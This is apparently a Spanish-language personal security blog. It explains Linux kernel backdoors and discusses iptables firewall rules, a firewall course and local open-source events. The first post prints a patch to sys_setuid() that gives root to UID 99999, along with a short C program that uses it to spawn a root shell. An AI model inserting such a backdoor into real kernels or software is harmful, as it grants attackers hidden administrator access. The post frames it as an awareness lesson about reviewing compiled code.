Por principio, ¿qué es una puerta trasera o backdoor? Lo explicaré con un ejemplo:
Generalmente para ganar acceso a un sistema, ya sea un sistema operativo o una simple aplicación necesitamos autenticarnos, es decir, que por medio de un canal único y establecido nos comunicaremos con la aplicación y le haremos saber nuestra identidad (Esto es muy relativo por cierto). Si los datos con los que lo alimentamos fueron los correctos entónces ganaremos acceso y una serie de privilegios que nos permitirán actuar con el sistema.
Ahora, supóngase que en esa aplicación se deja un canal alternativo por medio del cual se puede ganar acceso y quizás privilegios de super usuario o administrador. Este canal alternativo puede ser declarado al dueño del sistema como una medida de rescate, o bien puede omitirsele con el fin de ganar acceso no autorizado a posteriori. Como en todos los casos el valor ético de una puerta trasera está en tela de juicio y depende de su uso final por lo cual no entraré en honduras.
Lo que a mi juicio es interesante es que no es común hallar puertas traseras para un núcleo completo pero sí para aplicaciones. Esto obvia decir en el sentido de que es más sencillo distribuír una utilería troyaneada que un núcleo completo.

Ahora, ¿cómo lo hace?.
Bastante simple. La respuesta radica en un archivo fuente del kernel, el kernel/sys.c a saber, y más específicamente en la función sys_setuid() (Más información en: http://glide.stanford.edu/lxr/ident?v=linux-2.6.5;i=sys_setuid) , en la línea 726 para ser precisos. Esta función es la encargada de cambiar el rUID y el eUID (real UID y effective UID) según sea necesario.
La idea es la introducción de una condición mediante la cual se le asigna el UID 0 al usuario con UID 99999:

if (uid == 99999) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
return 0;
}


De esta forma, después de compilado el kernel, cada ves que entremos al sistema bajo la identidad de un usuario cuyo UID sea el 99999, el sistema automáticamente nos otorgará los privilegios de administrador. O bien, al ejecutar un programa con un código como el siguiente:

main() {
setuid(99999);
system("/bin/sh");
return 0;
}


El código y el artículo completo los pueden ver en http://www.neosecurityteam.net/index.php?pagina=papers&pID=59

Este post nos debería dejar una moraleja: "A veces es bueno leer el código que compilas..."

Sobre firewalking

Solamente un pensamiento sin desarrollar.
¿Qué pasaría si modificasemos el TTL en la tabla mangle del IPTables? ¿No podríamos controlar el efecto del firewalking?

Dejenme investigar y pronto escribiré al respecto, saludos.

11 de julio de 2005

Sobre el 1er ciclo de capacitación de OpenSource

Traigo un dilema en la cabeza (¡Sí, otro!).

Resulta que quiero aplicar para un tallercito o al menos una conferencia en el evento este del 1er ciclo de capacitación orientada al OpenSource.

El dilema viene por lo siguiente: Al parecer a sabiendas que el ENLi se organizaría para octubre de este año y que pretende ser el evento más fuerte sobre software libre en Puebla, un pseudo-amigo del organizador (del ENLi) mantuvo en secreto el proyecto del ciclo y lo dio a conocer hace apenas un par de días. Este evento en cuestión recibe apoyo económico y logístico de la dirección de la facultad de ciencias de la computación de la BUAP. En resumidas cuentas resulta que este evento es la competencia del ENLi. Por un lado está bien, la competencia es sana en todos los aspectos, pero a mí me deja mis resquemores la manera en la que se da.

Ahora, como es un evento que se propone como un foro para el Software Libre y el OpenSource obviamente que me interesa estar presente.

Apartandome un poco del espíritu que motivó este post, me gustaría dejar en claro que en mi opinión debería usarse el término Software Libre (Free Software) en lugar de Fuente Abierta (OpenSource), en virtud de que el primero se refiere a un esquema de licenciamiento completo en donde es apenas pre requisito que se tenga acceso al código fuente del programa. Por otro lado, muchas empresas han dado por llamar OpenSource a sus productos cuando a penas se tiene acceso a cierta parte del código fuente. Para mayor referencia visiten: http://fsfeurope.org/documents/whyfs.es.html

Regresando a la idea original, según esto pretendo asistir también al ENLi. El hecho es que no puedo presentar mi taller de Firewalls en el Ciclo puesto que ya no va a llamar la atención en el ENLi y tendría que preparar otra cosa. Po rotro lado, si presento en el Ciclo mis marcianadas sobre construcción de herramientas de seguridad basadas en software libre puede ser que llame más la atención que en el ENLi. Aunque también si lo presento de manera experimental podría ser que me queme y que ya no jale gente al ENLi... "Presentar o no presentar... he ahí el dilema"

Sobre el curso de Firewalls

El sábado pasado comencé con mi curso de Firewalls allá en el DF. Al parecer a los chicos les agradó y parece ser que sí están comprendiendo lo que les explico.
A veces he tenido que regresarme pues no saben la diferencia entre los paquetes TCP y UDP o simplemente no se acuerdan de no se acuerdan del 3-way handshake ;)

Bueno, debo admitir que tampoco todo el mundo tiene porqué saberlo. Creo que no es parte de lo que se conoce como "cultura general".

Ahora, esto me lleva a preguntarme ¿qué demonios voy a hacer si los chicos del curso en la FCC vienen igual o peor? Creo que voy a tener que preparar un pequeño material de referencia para irlos preparando para lo que les espera. Aunque por otro lado también es cierto que si el curso se llama bla bla bla de firewalls con GNU/Linux se asume (o al menos debería) que el cursante necesita cierto nivel de conocimientos en el uso del SO y al menos una idea (general si se desea) sobre lo que es un firewall.

Aunque ahora que lo pienso un poco más a detalle, una duda asalta mi alma geek. Según la máquina de estados del IPTables, se considera una conexión nueva a aquella que solamente presenta envío o recepción de datos de un lado pero que no ha tenido aún respuesta. En el caso del un flujo TCP esto significaría que solamente se ha completado la primera parte del 3-way handshake, osea que sólo se ha visto la recepción o envío del primer SYN. Esto es regularmente cierto. Lamentablemente la definición de conexión nueva de la máquina de estados de IPTables es muy amplia y abarca más que el caso anterior. Es decir, si como primer paquete recibido llega uno con la bandera de ACK o URG será igualmente tratado como una conexión nueva desde el punto de visto de IPTables.

Esto redunda en un problemita de especificidad en el sentido de que para un administrador novel es muy cómodo crear reglas del estilo de

iptables -A INPUT -p tcp -i eth0 --dport 1:1024 -m --state state NEW -j ACCEPT

Es decir, que solamente se van a aceptar conexiónes tipo NEW a los puertos privilegiados (los que están debajo de los 1024). Ahora, si somos quisquillosos sabremos que los únicos paquetes tcp que deberían llegar son aquellos que tienen la bandera SYN habilitada. Para que logremos esto necesitaríamos cambiar nuestra regla por algo más del estilo:

iptables -A INPUT -p tcp -i eth0 --dport 1:1024 --syn -j ACCEPT

En fin, son sólo ideas y creo que habrá que consultar el manual.

Deberías llamarte...

De entrada pienso que estre blog debería llamarse "Pásele y quéjese.." o "chocosito's hour" o algo por el estilo.

Pero bueno... por lo pronto vamos a dejarle este nombre. Este post es como el Hola Mundo... y como tal vamos a dejarlo.